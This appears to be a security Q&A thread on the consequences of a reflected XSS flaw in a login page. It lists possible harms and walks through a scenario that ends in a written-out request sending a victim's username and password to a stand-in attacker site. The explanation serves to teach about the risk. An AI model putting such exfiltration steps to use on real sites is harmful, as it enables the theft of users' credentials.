Im a beginner in WASA. What are the probable ill effects of having a reflected XSS vulnerability on the login page? Lets say reflected XSS is identified in the username parameter on the login page.
Injecting code in a page can lead to a lot many things. Few of those are:
- Lead to Phishing attacks
- Redirection
- A keylogger can be created
- XSRF
- Get data from JS variables and non-HTTPonly cookies
-
Also, in the most rare and extreme, yet very realistic cases, machine compromise via sophisticated browser exploits – niilzon Sep 29 '16 at 9:21
- Chuck sends their victim(s) a link to the target site (
example.com
, containing an XSS payload in the query string). - Bob clicks the link.
- Bob checks the address bar to make sure it is
https
protocol, padlock, and has the expected domain. - As the address bar shows
https://example.com
, Bob proceeds to login. - Upon click of the Login button, Chuck's payload runs and sends Bob's username and password to Chuck's website using an AJAX request:
POST https://chuck.example.org/get_creds
username=bob&password=baseball
window.location=
in the payload – Matthew Sep 22 '16 at 9:37